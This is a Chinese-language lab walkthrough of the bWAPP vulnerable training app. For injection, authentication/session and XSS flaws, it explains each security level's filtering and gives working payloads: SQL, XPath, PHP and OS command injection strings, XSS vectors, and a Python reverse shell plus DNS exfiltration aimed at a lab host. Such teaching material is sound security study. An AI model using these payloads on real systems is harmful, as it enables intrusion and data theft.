事以密成,言以洩敗。
導航
-
前言
-
A1 - Injection(注入)
-
A2 - Broken Auth & Session Mgmt(破損的授權&會話管理)
-
A3 - Cross-Site Scripting (XSS 跨站指令碼)
-
A4 - Insecure Direct Object References(IDOR 不安全直接物件引用)
-
A5 - Security Misconfiguration(安全配置錯誤)
-
A6 - Sensitive Data Exposure(敏感資料暴露)
-
A7 - Missing Functional Level Access Control(缺少功能級別訪問控制)
-
A8 - Cross-Site Request Forgery (CSRF 跨站請求偽造)
-
A9 - Using Known Vulnerable Components(使用已知漏洞元件)
-
A10 - Unvalidated Redirects & Forwards(無效重定向&轉發)
-
知識碎片
前言
程式語言:PHP
靶場版本:Version 1.9+
靶場環境:OWASP Broken Web Applications VM 1.2(VirtualBox)
原始碼參考:https://github.com/theand-fork/bwapp-code
影片參考:https://www.youtube.com/watch?v=segrCBlzAY0&list=PLmC06jCwVwlo-RdL444niMc5-oQyA4dkG
A1 - Injection(注入)
(A1-1)HTML Injection - Reflected (GET)
訪問地址:http://192.168.56.19/bWAPP/htmli_get.php
本部分與 A3-1 Cross-Site Scripting - Reflected (GET) 是一樣的,故此處不再贅述。
(A1-2)HTML Injection - Reflected (POST)
訪問地址:http://192.168.56.19/bWAPP/htmli_post.php
本部分與 A3-1 Cross-Site Scripting - Reflected (GET) 是類似的(僅請求方法由 GET 變成了 POST 而已),故此處不再贅述。
(A1-3)HTML Injection - Reflected (Current URL)
訪問地址:http://192.168.56.19/bWAPP/htmli_current_url.php
low 級別:後端對 GET 請求頭全域性變數 $_SERVER["REQUEST_URI"]
,不做處理直接拼接為 URL 連結然後返回前端。故可以透過 burpsuite 修改請求頭的 URI 為 /bWAPP/htmli_current_url.php?a=<script>alert(5)</script>
便可實現 XSS 反彈效果。【注意:透過在瀏覽器位址列操作不能夠成功,因為瀏覽器會對特殊符號進行 URL 編碼,以致後端收到的是編碼後的 URI 地址,返回的也是編碼後的 URL 地址,這樣就會導致注入的標籤失效。】
medium 級別:當前 URL 連結的獲取是透過 JS 函式 document.write(document.URL)
在瀏覽器本地獲取,而且也會自動進行 URL 編碼,因此亦無注入方法。
hight 級別:後端使用 GET 請求頭的請求地址變數,先做 htmlspecialchars() 函式的處理,然後拼接連結。
(A1-4)HTML Injection - Stored (Blog)
訪問地址:http://192.168.56.19/bWAPP/htmli_stored.php
本部分與 A3-13 Cross-Site Scripting - Stored (Blog) 是類似的,故此處不再贅述。
(A1-5)LDAP Injection (Search)
由於涉及元件複雜,靶機環境無法順利進行。
(A1-6)Mail Header Injection (SMTP)
由於涉及元件複雜,靶機環境無法順利執行。
(A1-7)OS Command Injection
訪問地址:http://192.168.56.19/bWAPP/commandi.php
low 級別:後端對 POST 請求提交上來的 target 變數不做處理,直接拼接 nslookup 系統命令執行。此時可以透過載荷 www.nsa.gov;id
進行命令注入,後端在執行域名解析之後還會執行 id 指令,並將執行結果響應返回。
medium 級別:後端對 POST 請求提交上來的 target 變數進行 &;
符號替換為空的處理,然後再拼接 nslookup 系統命令執行。此時載荷 www.nsa.gov | id
依舊可以生效。
hight 級別:後端對 POST 請求提交上來的 target 變數進行 escapeshellcmd() 函式(該函式會將特殊符號均進行轉義處理,使其在 shell 環境下失去原有的特殊作用)的處理。
(A1-8)OS Command Injection - Blind
訪問地址:http://192.168.56.19/bWAPP/commandi_blind.php
low 級別:後端對 POST 請求提交上來的 target 變數不做處理,直接拼接 ping 系統命令執行但是響應返回無執行結果。此時可以透過注入載荷 localhost;nslookup id | tr ' ' ',' 192.168.56.3
的方式,然後在56.3主機 wireshark 抓包分析 dns 的請求內容,這種方法可以看到執行 id 命令之後返回的結果,但是在 nslookup 引數中使用的命令會受到限制,例如被注入的命令不能夠使用引數符號-;此時亦可以透過載荷 localhost;export RHOST="192.168.56.3";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
直接建立遠端連線,然後直接在 nc shell 中執行命令。(注意:該 shell 載荷使用了python2 進行的 nc 連線,在不同的靶機環境,建立連線的載荷亦會有所不同)
medium 級別:後端對 POST 請求提交上來的 target 變數中的 &;
符號替換為空。此時上述載荷依舊生效。
hight 級別:後端對 POST 請求提交上來的 target 變數進行 escapeshellcmd() 函式(該函式會將特殊符號均進行轉義處理,使其在 shell 環境下失去原有的特殊作用)處理。
(A1-9)PHP Code Injection
訪問地址:http://192.168.56.19/bWAPP/phpi.php?message=test
low 級別:後端對 GET 請求提交上來的 message 變數不做處理,直接當作命令字串傳遞給 eval 函式執行。此時可以透過載荷 phpinfo()
檢視效果(注:只要是 PHP 程式碼函式類的都可以作為載荷)。
medium/hight 級別:後端會對 GET 請求提交上來的 message 變數進行 htmlspecialchars() 函式( 該函式可將特殊字元轉換為 HTML 實體)的處理。
(A1-10)Server-Side Includes (SSI) Injection
訪問地址:http://192.168.56.19/bWAPP/ssii.php
本部分與 A3-1 Cross-Site Scripting - Reflected (GET) 是一樣的,和 SSI 其實沒什麼關係,故此處不再贅述。
(A1-11)SQL Injection (Search/GET)
訪問地址:http://192.168.56.19/bWAPP/sqli_1.php
low 級別:後端對 GET 請求提交上來的 title 變數的值不做處理直接拼接到了 sql 查詢語法中。此時可以透過載荷 test' or 1 -- -
進行閉合注入,然後遍歷當前所有電影。
medium 級別:後端對 GET 請求提交上來的 title 變數進行 addslashes() 函式(該函式會對'"\
等符號進行轉義處理,但仍可能存在字符集註入的風險 )的處理。
hight 級別:後端對 GET 請求提交上來的 title 變數進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
(A1-12)SQL Injection (Search/POST)
訪問地址:http://192.168.56.19/bWAPP/sqli_6.php
本部分與 A1-11 SQL Injection (Search/GET) 基本無差別,僅僅只是表單請求方法 GET 和 POST 之間的區別,故不再贅述。
(A1-13)SQL Injection (Search/CAPTCHA)
訪問地址:http://192.168.56.19/bWAPP/sqli_9.php
本部分驗證碼檢驗搜尋形同虛設,第一次手動驗證之後,後續請求便不會再被要求輸入驗證碼,且與 A1-11 SQL Injection (Search/GET) 基本無差別,故不再贅述。
(A1-14)SQL Injection (Select/GET)
訪問地址:http://192.168.56.19/bWAPP/sqli_2.php
low 級別:後端對 GET 請求提交上來的 movie 數值不做處理直接拼接到 sql 查詢語句中。此時可以透過載荷 999 union select 1,2,3,4,5,6,7#
進行數值型的聯合注入查詢。
注意:程式碼後面透過 mysql_fetch_array() 函式從 sql 查詢結果集中只取出一條記錄使用。
medium 級別:後端對 GET 請求提交上來的 movie 數值進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
hight 級別:該級別下後端透過專門的 php 程式碼(http://192.168.56.19/bWAPP/mysqli_ps.php)進行處理,檢查似乎更嚴格。
(A1-15)SQL Injection (Login Form)
訪問地址:http://192.168.56.19/bWAPP/sqli_3.php
low 級別:後端對 POST 請求提交上來的 login、password 變數不做處理,直接拼接到 sql 查詢語句。此時可以透過載荷 test' or 1 #
作為使用者名稱進行登入,密碼任意。
medium 級別:後端對 POST 請求提交上來的 login、password 變數進行 addslashes() 函式( 該函式亦會對'"\
等符號進行轉義處理,但仍可能存在字符集註入的風險 )的處理。
hight 級別:後端對 POST 請求提交上來的 login、password 變數進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
(A1-16)SQL Injection - Stored (Blog)【SQL insert】
訪問地址:http://192.168.56.19/bWAPP/sqli_7.php
low 級別:後端對 POST 請求提交上來的 entry 變數不做處理,直接拼接到 sql 插入語句中。故可以透過載荷 admin'or extractvalue(0x0a,concat(0x0a,(select user()))),'admin')#
根據報錯來查詢輸出;或載荷 admin'or updatexml(1,concat(0x7e,user()),0),'admin')#
根據報錯來查詢輸出;或載荷 admin',user())#
進行插入篡改查詢。
注意:面對這種 insert 型的 sql 注入,也是要先猜測出其插入語法(如本例,insert into table(c1,c2,c3) values('1','entry','admin');
),然後再構造注入語句,這類語句的閉合通常一定會帶有)右括號。
medium 級別:後端對 POST 請求提交上來的 entry 變數進行 addslashes() 函式( 該函式亦會對'"\
等符號進行轉義處理,但仍可能存在字符集註入的風險 )的處理。
hight 級別:後端對 POST 請求提交上來的 entry 變數進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
(A1-17)SQL Injection - Stored (XML)【SQL update】
訪問地址:http://192.168.56.19/bWAPP/sqli_8-1.php(點選按鈕時,實際發起的 POST 請求連結是http://192.168.56.19/bWAPP/sqli_8-2.php)
low 級別:後端對 POST 請求提交上來的 XML 格式的 login、secret 變數不做處理,直接拼接到 sql 語句中。此時可以透過在burpsuite 中繼器修改 login 或 secret 的值為載荷 admin'or updatexml(1,concat(0x7e,user()),0)#
根據報錯來查詢輸出。
注意:面對這種 update 型的 sql 注入,也是要先猜測出其插入語法(如本例,update table set pass='pass' where name='admin');
,然後再構造注入語句,這類語句的閉合似乎比較簡單。
medium/hight 級別:後端只對 POST 請求提交上來的 secret 變數進行 mysql_real_escape_string() 函式的處理,而login 變數的值則取自 session 會話中的值。
(A1-18)SQL Injection - Blind (Search)
訪問地址:http://192.168.56.19/bWAPP/sqli_4.php
low 級別:後端對 GET 請求提交上來的 title 變數的值不做處理然後直接拼接到 sql 語句中。此時輸入單引號'發現提示語法錯誤,故可知閉合符號是單引號',透過構造載荷 name' or 1 #
發現本該不存在的電影此時卻提示存在,說明此處存在 sql 注入。此時可透過 name' or 98=(select ascii(mid(database(),1,1))) #
或 name' or 'b'=(select mid(database(),1,1)) #
載荷根據條件為真來逐一判斷資料庫名稱,一般配合 fuzz 進行。
注意:盲注進行閉合符號猜測時,先根據一有結果的查詢值為基準,然後在該值的基礎上配合 or 或 and 條件判斷較佳。在 dump 資料庫名或表名等資料時,優先配合 fuzz 進行。
medium 級別:後端只對 GET 請求提交上來的 title 變數進行 addslashes() 函式( 該函式亦會對'"\等符號進行轉義處理,但仍可能存在字符集註入的風險 )的處理。
hight 級別:後端只對 GET 請求提交上來的 title 變數進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
(A1-19)SQL Injection - Blind (Web Services/SOAP)
訪問地址:http://192.168.56.19/bWAPP/sqli_5.php
low 級別:雖然後端使用了比較複雜的技術(NUSOAP)進行 mysql 查詢請求的動作,但是其實現的過程還是和前面所述的那些狀況差不多。後端對 GET 請求提交上來的 title 變數不做處理然後就拼接到 sql 語句中。此時透過 burpsuite 中繼器替換其 title 的值為載荷 G.I.+Joe%3A+Retaliation' and true -- -
發現其查詢輸出依舊正常,依此可判斷其閉合符號為單引號'。此處關於資料庫名錶名的 dump 方法同上述一樣。
引用 SOAP 功能函式
SOAP 進行 sql 查詢的功能函式
注意:在盲注過程中發現 mysql 註釋符號在GET 請求類的注入使用中可能會引起語法錯誤,建議還是使用-- -
的方式進行後端註釋;而且在 burpsuite 中修改 GET 頭的引數時,如果有空格連線一定要先進行 URL 編碼才行,否則會返回錯誤的結果。
medium 級別:後端只對 GET 請求提交上來的 title 變數進行 addslashes() 函式( 該函式亦會對'"\等符號進行轉義處理,但仍可能存在字符集註入的風險 )的處理。
hight 級別:後端只對 GET 請求提交上來的 title 變數進行 mysql_real_escape_string() 函式( 該函式亦會對'"\
等符號進行轉義處理,且不存在字符集註入的風險 )的處理。
(A1-20)XML/XPath Injection (Search)
訪問地址:http://192.168.56.19/bWAPP/xmli_2.php
heros.xml 檔案內容:https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/passwords/heroes.xml
low 級別:前端選中下拉選項提交時會透過 GET 請求攜帶引數 genre 發起,後端對收到的 genre 變數不做處理直接作為 xpath 查詢語法的一部分進行拼接,然後在本地 XML 檔案資料庫中進行資料的匹配查詢。此時透過載荷 ')]/child::node() | test[contains(test,'aa
作為 genre 的引數,便可以達到遍歷整個 XML 檔案資料庫的效果。
medium/hight 級別:後端對 GET 請求提交上來的 genre 變數進行 xmli_check_1() 自定義檢查函式的處理(該函式將( ) = ' [ ] : , * /
這些符號進行了替換為空的處理),然後再拼接到 xpath 查詢語法中。
注意:本處的載荷進行了前後閉合處理。$xml->xpath("//hero[contains(genre, 'action')]/movie");
本處程式碼中的 xpath 查詢語法的意思是,查詢所有 hero 節點下的 movie 的值,且 hero 節點中 genre 屬性需要包含 action 欄位。
(A1-21)XML/XPath Injection (Login Form)
訪問地址:http://192.168.56.19/bWAPP/xmli_1.php
low 級別:後端對 GET 請求提交上來的 login、password 變數不做處理直接拼接到 xpath 查詢語法中,若匹配到結果則返回登入成功的提示。此時透過載荷 user'or 1=1 or ''='
輸入使用者名稱,密碼隨便填,然後就達到了萬能密碼的效果。
注:原始碼中雙引號太多,處理之後為 xpath("/heroes/hero[login='login' and password='password']");
此處這個載荷的用法比較奇怪 user or ''='
卻不可以,但它也應該是正常閉合的。
medium/hight 級別:後端對 GET 請求提交上來的 login、password 變數進行 xmli_check_1() 自定義檢查函式的處理(該函式將( ) = ' [ ] : , * /
這些符號進行了替換為空的處理),然後再拼接到 xpath 查詢語法中。
A2 - Broken Auth & Session Mgmt(破損的授權&會話管理)
(A2-1)Broken Authentication - Forgotten Function
訪問地址:http://192.168.56.19/bWAPP/ba_forgotten.php
low 級別:輸入找回密碼對應的郵箱之後,後端從資料庫中將查詢到的密碼直接響應顯示到了前端頁面之中。此時只要知道別人的註冊郵箱便可知曉別人的密碼。
medium 級別:後端將查詢的密碼明文發到了對方的郵箱之中。
hight 級別:後端將生成的密碼重置連結發到了對方的郵箱之中。(注:此時也存在 A7-4 Host Header Attack (Reset Poisoning) 漏洞)
(A2-2)Broken Authentication - Insecure Login Forms
訪問地址:三個級別分別對應三個不同的頁面,分別是 ba_insecure_login_1.php、ba_insecure_login_2.php、ba_insecure_login_3.php
low 級別:登入賬戶和密碼直接在頁面表單部分以白色樣式的方式顯示。故可以透過檢視原始碼或滑鼠選中的方式檢視。
medium 級別:登入賬戶直接在登陸框顯示,而密碼以 js 開鎖指令碼驗證的方式在 js 函式中包含著。此時可以透過在 console 控制檯中透過執行 js 程式碼獲得密碼。
hight 級別:前端頁面不再包含任何有關賬戶密碼的痕跡。
(A2-3)Broken Authentication - Logout Management
訪問地址:http://192.168.56.19/bWAPP/ba_logout.php(點選頁面按鈕之後會發起登出請求,連結是http://192.168.56.19/bWAPP/ba_logout_1.php)
low 級別:客戶端發起登出請求之後,服務端的響應中只是重定向到 login.php 登入頁面,並刪除相關的 cookies 資料。此時在新標籤頁無需重新登入便依舊可以開啟那些需要登入才能看到的頁面,且再次處於正常的登入狀態會話。
medium 級別:服務端首先透過 session_destroy() 函式銷燬了 session 會話,然後重定向 login.php 及刪除 cookies 資料,此時會話正常結束。
hight 級別:服務端先清空了 $_SESSION = array();
變數,然後銷燬會話、重定向及刪除 cookies 資料,此時會話正常結束。
(A2-4)Broken Authentication - Password Attacks
訪問地址:三個級別分別對應三個不同的頁面,分別是 ba_pwd_attacks_1.php、ba_pwd_attacks_2.php、ba_pwd_attacks_4.php。
low 級別:表單提交內容只有 login、password 變數,後端只是檢驗這兩變數是否與內建的 $login、$password
變數相等。此時可以透過常規的密碼爆破方法快速進行密碼爆破。
medium 級別:表單提交內容有 login、password、salt 變數(salt 是後端隨機生成的值並隱藏攜帶在表單之中,每次重新整理頁面都會產生新值),後端首先檢驗 $_POST["salt"] == $_SESSION["salt"]
是否符合,符合之後才開始進行 login、password 變數的判斷。此時可以透過 burpsuite 工具爆破進行,但是在操作上比較麻煩且爆破速度降低。
hight 級別:表單使用了圖片驗證碼技術,表單提交內容有 login、password、captcha_user 變數,後端首先檢驗 $_POST["captcha_user"] == $_SESSION["captcha"]
是否符合,符合之後才開始 login、password 變數的判斷。此時爆破難度更高。
圖片驗證碼實現原理:表單頁面使用 iframe 頁面巢狀方法,這樣就可以保證驗證碼圖片可以不斷重新整理請求,而表單頁面不會被重新整理。巢狀中的頁面則是由圖片部分和頁面重新整理按鈕部分組成,而此處的圖片 src 連結指向其實也是一個 php,當發起該圖片 php 的請求時,後端 php 會首先生成一個隨機字串(即驗證碼),然後將該字串賦值給 $captcha = random_string();$_SESSION["captcha"] = $captcha;
會話變數,然後再透過 php 程式碼生成圖片的方法模糊處理該隨機值,最後作為一個圖片響應返回。
驗證碼圖片生成程式碼
(A2-5)Broken Authentication - Weak Passwords
訪問地址:http://192.168.56.19/bWAPP/ba_weak_pwd.php
low/medium/hight 級別:三個級別就只是密碼不同而已,它們分別是 test、test123、Test123,使用者名稱都是 test。賬戶密碼都是靜態變數,不涉及資料庫。
(A2-6)Session Management - Administrative Portals
訪問地址:http://192.168.56.19/bWAPP/smgmt_admin_portal.php?admin=0
low 級別:訪問上述頁面地址時,後端根據提交 URL 中的引數 admin 的值來判斷使用者是否可以訪問隱藏內容(即綠色標識的話: You unlocked this page)。此時可以透過修改 URI 為 smgmt_admin_portal.php?admin=1
來訪問隱藏內容。
medium 級別:後端根據請求中的 cookies 引數 admin 的值來判斷使用者是否可以訪問隱藏內容。此時透過修改 cookies 引數 admin=1
來訪問隱藏內容。
hight 級別:後端根據 session 會話中的 $_SESSION["admin"] == 1
變數的值來判斷使用者是否可以訪問隱藏內容,而 $_SESSION["admin"]
的值又取決於來訪者的 IP 地址是否在指定的許可 IP 陣列中,也就是說只有特定的 IP 地址的使用者才能夠訪問隱藏內容。
(A2-7)Session Management - Cookies (HTTPOnly)
訪問地址:http://192.168.56.19/bWAPP/smgmt_cookies_httponly.php
low 級別:cookies 引數 top_security 的 httponly 開關(該開關要求該 cookies 變數只能被後端透過 $_COOKIES
變數訪問,像如前端的 JS 指令碼是無法讀取的)是關閉的,即 js 可以讀取其值。
該程式碼只是展示頁面中 cookies 表格是如何實現,和難度級別無關。
medium 級別:cookies 引數 top_security 的 httponly 開關是開啟的,即 js 無權讀取其值。
hight 級別:cookies 引數 top_security 的 httponly 開關是開啟的,且有效存活時間是 5 分鐘。(注意:cookies 不會在服務端儲存,當瀏覽器中的 cookies 過期之後,當再次在頁面點選 cookies 按鈕向後端發起 POST 查詢請求時,此時後端是根據前端發起請求時攜帶的 cookies 值進行響應的。但如果存活時間還沒到期,那麼頻繁切換該試驗的難度級別,可能會產生一些意料之外的事情。)
(A2-8)Session Management - Cookies (Secure)
訪問地址:http://192.168.56.19/bWAPP/smgmt_cookies_secure.php
low 級別:cookies 變數 top_security 的 secure 開關(該開關要求該 cookies 變數必須透過 SSL 安全通道傳輸,即只有使用 HTTPS 訪問頁面時該變數才會被攜帶到瀏覽器,否則瀏覽器無此 cookies 變數)是關閉的,此時點選頁面的 cookies 按鈕透過 HTTP POST 請求是可以檢視該 cookies 的。
medium 級別:cookies 變數 top_security 的 secure 開關是開啟的,此時點選頁面的 cookies 按鈕透過 HTTP POST 請求是無法檢視該 cookies 的,只有訪問 https://192.168.56.19/bWAPP/smgmt_cookies_secure.php
透過 HTTPS POST 請求才可以檢視該 cookies 的。
透過 HTTP 訪問該頁面
透過 HTTPS 訪問該頁面
hight 級別:同 medium 級別一樣,只是 cookies 變數 top_security 的存活時間變短了而已。(存活時間由1小時縮短為5分鐘的好處在於:top_security 變數很快就失效不能再使用,不會因為時間過長導致變數被濫用。即,即便已經從https轉變為http了,但是因為 top_security 變數存活時間長的原因,在http頁面請求下依舊會可以檢視到該 top_security 變數。)
(A2-9)Session Management - Session ID in URL
訪問地址:http://192.168.56.19/bWAPP/smgmt_sessionid_url.php
low 級別:訪問上述地址之後,響應返回帶 sessionid 的重定向連結。此時旁人只要知道了該網站的 sessionid,那麼只要自己手動新增一個 cookies 就可以以該使用者的身份正常登入頁面。
medium/hight 級別:sessionid 不會顯示在URL 之中。
(A2-10)Session Management - Strong Sessions
訪問地址:http://192.168.56.19/bWAPP/smgmt_strong_sessions.php
本部分與 A2-8 Session Management - Cookies (Secure) 一樣,三個級別的差別也是關於 cookies secure 開關的區別,故不再贅述。
A3 - Cross-Site Scripting (XSS 跨站指令碼)
(A3-1)Cross-Site Scripting - Reflected (GET)
訪問地址:http://192.168.56.19/bWAPP/xss_get.php
low 級別:後端對 GET 請求提交上來的 firstname 、lastname 變數不做處理直接拼接然後響應前端。故可以透過在輸入框中注入載荷 <script>alert("5")</script>
達到 XSS 反彈效果。
medium 級別:後端對 GET 請求提交上來的 firstname 、lastname 變數進行 addslashes() 函式(該函式會在" ' \
字元的前面加反斜槓)的處理。此時透過載荷 <script>alert(5)</script>
依舊能達到 XSS 反彈效果。
hight 級別:後端對 GET 請求提交上來的 firstname 、lastname 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。
(A3-2)Cross-Site Scripting - Reflected (POST)
訪問地址:http://192.168.56.19/bWAPP/xss_post.php
在後端檢查方式上與 A3-1 Cross-Site Scripting - Reflected (GET) 是一樣的,僅僅只是表單的請求方法由 GET 方法變成了 POST 方法。
(A3-3)Cross-Site Scripting - Reflected (JSON)
訪問地址:http://192.168.56.19/bWAPP/xss_json.php
low 級別:後端對 GET 請求提交上來的 title 變數不做處理直接進行查詢,當查詢不到時會將變數直接拼接進一段 json 格式的字串,而該字串又會被賦值給一個響應返回的 js 指令碼變數之中,當前端收到時 js 指令碼又會對該 json 字串進行解析,然後將解析結果透過 DOM 寫入到標籤之中用以顯示結果。此時可以透過閉合 json 以及註釋多餘 js 程式碼達到 XSS 反彈效果,閉合載荷如: test"}]}';alert(5);//;
也可透過截斷前後<script>
標籤達到 XSS 效果,閉合載荷如:</script><script>alert(5)</script><script>
此法可能會讓程式碼產生錯誤,即頁面顯示功能異常;
medium/hight 級別:後端對 GET 請求提交上來的 title 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。
(A3-4)Cross-Site Scripting - Reflected (AJAX/JSON)
訪問地址:http://192.168.56.19/bWAPP/xss_ajax_2-1.php(實際向後端發起請求的連結是http://192.168.56.19/bWAPP/xss_ajax_2-2.php?title=test)
low/medium 級別:當在輸入框中鍵入字元時,輸入框下方便會立馬顯示相關查詢結果,這種效果便是利用了 AJAX 非同步網路請求技術,它可以使得當前 web 頁面在不重新整理的情況下,透過後臺 js 不斷的向外發出 HTTP 請求。在當前情況下,輸入框中出現的任何字元都會立馬被作為 title 的值 GET 請求傳遞給後臺(注意:不是因為輸入字元才觸發 HTTP 請求,而是後臺迴圈每秒都進行 HTTP 請求),後臺對收到資料不進行特殊處理,經過簡單的查詢判斷無匹配資料之後便會直接拼接到一個 json 格式的字串中然後返回響應。收到響應的 js 函式對其進行 json 資料提取之後便透過 DOM 嵌入到了 xss_ajax_2-1.php 的頁面中。此時透過常規的載荷 <script>alert(5)</script>
雖然能夠被注入,但是由於當前頁面 xss_ajax_2-1.php 並不會被重新整理,所以即便注入了也不會產生效果,此時便需要透過其他標籤進行處理,如: <img src x onerror = alert(5)>
,該標籤由於載入不存在的 x 資源時肯定會出錯,而出錯便會觸發 onerror 執行動作;
hight 級別:後端對 GET 請求提交上來的 title 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。
(A3-5)Cross-Site Scripting - Reflected (AJAX/XML)
訪問地址:http://192.168.56.19/bWAPP/xss_ajax_1-1.php(實際向後端發起請求的連結是http://192.168.56.19/bWAPP/xss_ajax_1-2.php?title=test)
low 級別:基本原理與上述 A3-4 Cross-Site Scripting - Reflected (AJAX/JSON) 相差不多,區別在於響應返回的資料不再是 json 格式,而是 XML 格式,因此在注入載荷上略有區別。因為 XML 中 <>&
等字元是不能被直接存入的,因此注入前必須先進行 HTML 實體轉義才行,如:需要將 img src = x onerror = alert(5)
轉義為 <img src = x onerror = alert(5)>
才行。
medium 級別:後端對 GET 請求提交上來的 title 變數進行 addslashes() 函式(該函式會在" ' \
字元的前面加反斜槓)的處理。此時載荷 <img src = x onerror = alert(5)>
亦生效。
hight 級別:後端對 GET 請求提交上來的 title 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)進行處理。此時無需轉義直接輸入載荷 <img src =x onerror = alert(5)>
即可產生 XSS 反彈效果,此時的 htmlspecialchars() 反倒起到了自動轉義的效果,面對XML 這種正好合適。
注:後端返回 <>
時,js 在進行 DOM 注入時會先對字串進行轉義處理為<>
然後才嵌入 DOM 欄位,嵌入之後再進行 js 或 css 載入渲染就會觸發新的執行動作。
(A3-6)Cross-Site Scripting - Reflected (Back Button)
訪問地址:http://192.168.56.19/bWAPP/xss_back_button.php
low 級別:當訪問該頁面時,後端會將 GET 請求頭中的 Referer 變數拼接到返回按鈕的標籤屬性中,然後當使用者點選該按鈕時頁面便會返回到上一頁。而在 low 級別下,後端不會對請求頭中的 Referer 變數進行檢查。故可以透過 burpsuite 攔截請求,修改 Referer 變數為 ';alert(5);'
或 '"><script>alert(5)</script><
閉合載荷達到 XSS 反彈注入。
medium 級別:後端會對 Referer 變數進行 addslashes() 函式(該函式會在 " ' \
字元的前面加反斜槓)的處理。此時以上載荷依舊可以正常使用,因為標籤中的 '"
前面新增反斜槓並不影響標籤的正常使用。
hight 級別: 後端會對 Referer 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。
(A3-7)Cross-Site Scripting - Reflected (Custom Header)
訪問地址:http://192.168.56.19/bWAPP/xss_custom_header.php
low 級別:後端從請求頭中搜尋 bWAPP 的鍵值欄位,然後將其不做處理直接遍歷顯示到前端 HTML 中。故可以用 burpsuite 攔截請求,然後再最後一行新增 bWAPP: <script>alert(5)</script>
便完成了 XSS 注入。
medium 級別:後端會對變數進行 addslashes() 函式(該函式會在 " ' \
字元的前面加反斜槓)的處理。
hight 級別:後端會對變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。
(A3-8)Cross-Site Scripting - Reflected (Eval)
訪問地址:http://192.168.56.19/bWAPP/xss_eval.php?date=Date()
low 級別:後端對 GET 請求提交上來的 date 變數的值不做處理直接當作字串嵌入到了 js 的 eval 函式中。故可以透過替換 date()
函式為 alert(5)
便可實現 XSS 注入。
medium 級別:後端對 GET 請求提交上來的 date 變數進行 addslashes() 函式(該函式會在 " ' \
字元的前面加反斜槓)的處理。透過替換 date()
函式為 alert(5)
依舊可以實現 XSS 注入。
hight 級別:後端指定 GET 請求中的 date 變數的值只能是 Date() 字串。
(A3-9)Cross-Site Scripting - Reflected (HREF)
訪問地址:http://192.168.56.19/bWAPP/xss_href-1.php( 輸入 test 提交時實際請求的連結是 http://192.168.56.19/bWAPP/xss_href-2.php?name=test&action=vote
)
low 級別:後端對 GET 請求提交上來的 name 變數不做處理直接在響應前端的 HTML 內容中的 Vote 連結中進行了拼接。故可以透過載荷 test onclick="alert(5)"
,實現 herf 超連結標籤 XSS 注入反彈,注入之後點選超連結即可反彈成功。
medium/hight 級別:後端會對 GET 請求提交上來的 name 變數進行 urlencode() 函式(空格和特殊字元均被使用 URL 編碼處理成帶 %
號的字串)的處理,然後再進行超連結拼接。此時由於輸入的符號()
被轉義,故拼接之後返回瀏覽器渲染時不會再作為 js 函式執行。
注意:後端返回的資料在前端瀏覽器顯示時,注入中的一些變數的值瀏覽器可能會自動給其加上""
雙引號,因此儘量配合 burpsuite 進行語句的閉合字串注入。
(A3-10)Cross-Site Scripting - Reflected (PHP_SELF)
訪問地址:http://192.168.56.19/bWAPP/xss_php_self.php
與 A3-1 Cross-Site Scripting - Reflected (GET) 是一樣的,故不再贅述。
(A3-11)Cross-Site Scripting - Reflected (Referer)
訪問地址:http://192.168.56.19/bWAPP/xss_referer.php
與 A3-6 Cross-Site Scripting - Reflected (Back Button) 是一樣的,都是基於修改請求頭的 Referer 引數進行的 XSS 注入,故不再贅述。
(A3-12)Cross-Site Scripting - Reflected (User-Agent)
訪問地址:http://192.168.56.19/bWAPP/xss_user_agent.php
與 A3-6 Cross-Site Scripting - Reflected (Back Button) 類似,都是基於修改請求頭引數進行的 XSS 注入,只不過此處是對 User-Agent 引數進行的修改,故不再贅述。
(A3-13)Cross-Site Scripting - Stored (Blog)
訪問地址:http://192.168.56.19/bWAPP/xss_stored_1.php
low 級別:後端對錶單中提交的 Entry 內容首先進行 SQL 注入檢查 mysqli_real_escape_string() 函式的處理,然後再插入資料庫,當顯示取出時,後端對取出的資料不進行 xss 檢查處理,直接輸出。此時可透過 <script>alert(5)<script>
直接進行 XSS 注入。
medium 級別:給資料庫插入資料同 low 級別一樣,但是從資料庫取出顯示資料時,後端會對其進行 addslashes() 函式(該函式會在 " ' \
字元的前面加反斜槓)的處理。此時仍可透過載荷 <script>alert(5)<script>
直接進行 XSS 注入。
hight 級別:給資料庫插入資料同 low 級別一樣,但是從資料庫取出顯示資料時,後端會對其進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理。此時無法進行 XSS 注入。
(A3-14)Cross-Site Scripting - Stored (Change Secret)
訪問地址:http://192.168.56.19/bWAPP/xss_stored_3.php
low 級別:前端請求的表單中還存在隱藏的 login 變數,且表單請求提交後該 login 還會被繼續響應返回。而後端對 POST 提交上來的 secret 變數有著嚴格的檢查,但對 login 不做任何檢查。故可以透過修改前端表單 login 輸入框的型別為 text 顯示狀態,然後在輸入框中注入載荷 <script>alert(5)<script>
即可實現 XSS 注入。
medium/hight 級別:後端使用 token 令牌進行使用者名稱的辨識,且返回的前端頁面中無相關 XSS 注入特徵(前端提交的變數,響應返回的頁面也會存在該變數,這便是注入特徵)。
(A3-15)Cross-Site Scripting - Stored (Cookies)
訪問地址:http://192.168.56.19/bWAPP/xss_stored_2.php
